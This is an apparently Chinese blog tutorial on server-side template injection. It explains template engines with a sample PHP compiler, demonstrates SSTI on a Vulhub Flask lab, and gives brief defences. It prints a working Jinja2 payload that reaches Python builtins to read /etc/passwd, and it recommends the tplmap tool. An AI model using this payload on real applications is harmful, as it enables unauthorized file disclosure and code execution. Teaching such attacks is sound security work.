SSTI簡介
何為模闆引擎(SST)
百度百科:模闆引擎(這裡特指用于Web開發的模闆引擎)是為了使使用者界面與業務資料(内容)分離而産生的,它可以生成特定格式的文檔,用于網站的模闆引擎就會生成一個标準的HTML文檔。
個人了解就是:一個html頁面中沒有實際内容,但是有變量,通路這個頁面時需要将這個變量轉換成預期的内容,這時候就需要用到模闆引擎。php(或者其他腳本語言)代碼通過通路模闆引擎,模闆引擎通過正則比對産生一個新的緩存的html頁面,進而實作php和html代碼的分離。
從網上找了個小例子幫助我們更好的了解SST的作用,大波code來襲:
tpl.func.php
function display($tplFile, $tplVars = null)
{$tplFilePath = rtrim(TPL_PATH,'/') . '/' . $tplFile;if (!file_exists($tplFilePath)) {exit('模版檔案不存在');
}$html = compile($tplFilePath);$cacheFileName = parsePath($tplFile);if (!check_cache_dir(TPL_CACHE)) {exit('緩存目錄不可寫');
}if (!file_put_contents($cacheFileName, $html)) {exit('緩存檔案寫入失敗');
}if (is_array($tplVars)) {extract($tplVars);include $cacheFileName;
}
}function check_cache_dir($path)
{if(!file_exists($path) || !is_dir($path)) {return mkdir($path,0755,true);
}if(!is_writeable($path) || !is_readable($path)) {return chmod($path,0755);
}return true;
}function parsePath($tplFile)
{$path = rtrim(TPL_CACHE,'/').'/'.str_replace('.','_',$tplFile).'.php';return $path;
}function compile($path)
{$keys =['{if %%}' => '<?php if(\1): ?>',
'{else}' => '<?php else : ?>',
'{else if %%}' => '<?php elseif(\1) : ?>',
'{elseif %%}' => '<?php elseif(\1) : ?>',
'{/if}' => '<?php endif;?>',
'{$%%}' => '=$\1;?>',
'{foreach %%} ' => '<?php foreach(\1) :?>',
'{/foreach}' => '<?php endforeach;?>',
'{for %%}' => '<?php for(\1):?>',
'{/for}' => '<?php endfor;?>',
'{while %%}' => '<?php while(\1):?>',
'{/while}' => '<?php endwhile;?>',
'{continue}' => '<?php continue;?>',
'{break}' => '<?php break;?>',
'{$%% = $%%}' => '<?php $\1 = $\2;?>',
'{$%%++}' => '<?php $\1++;?>',
'{$%%--}' => '<?php $\1--;?>',
'{comment}' => '<?php ?>',
'{}' => '*?>',
'{section}' => '<?php ',
'{/section}' => '?>',
'{include %%}' => '<?php include \1;?>',];$file = file_get_contents($path);foreach ($keys as $key => $val) {$pattern = '#'. str_replace('%%', '(.+)', preg_quote($key,'#')) .'#imsU';$replace = $val;if (stripos($pattern,'include')) {$file = preg_replace_callback($pattern, 'parseInclude', $file);
}else{$file = preg_replace($pattern, $replace, $file);
}
}return $file;
}function parseInclude($data)
{$path = str_replace(array('\'','"'),'',$data[1]);//data[1]就是-------footer.html
$cacheFileName = parsePath($path);
display($path);return '<?php include "'.$cacheFileName.'";?>';
}
config.php
display('moban.html',compact('title','content','footercontent'));
moban.html
{$title}
為什麼要模闆引擎
如果在一個頁面中php代碼與html代碼混合在一起,在很多時候都會造成不便,用模闆引擎可以讓php代碼和html代碼進行分離。
為什麼SST是危險的?
還是道哥的那句話,安全的本質是信任。SST信任了使用者的輸入,并且執行這些内容,包括執行本機函數。就像eval函數對傳入的内容未加任何過濾一樣。是以模闆注入(SSTI)很容易導緻遠端代碼執行(RCE)、資訊洩露等漏洞。
執行個體示範
本來準備找CTF題的,但是一直沒找到,如果有師傅找到源碼,望分享!
這裡就用vuhub的ssti測試一下
通路頁面是hello guest
因為看過app.py的源碼,是以直接在後面加參數?name=123,顯示hello 123
說明這裡的name我們是被信任的(當它什麼都沒過濾),猜測存在ssti。
接着再輸入一個表達式{{2*3}}
顯示hello 6,驗證了存在ssti。
payload
python3 :讀取檔案
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
也可以用工具tplmap,挺好用
https://github.com/epinna/tplmap
如何防禦SSTI?
1.盡可能加載靜态模闆檔案。
2.不要允許使用者控制此類檔案或其内容的路徑。
參考
https://xi4or0uji.github.io/2019/01/17/2019-1-15-flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/qq_40657585/article/details/83657220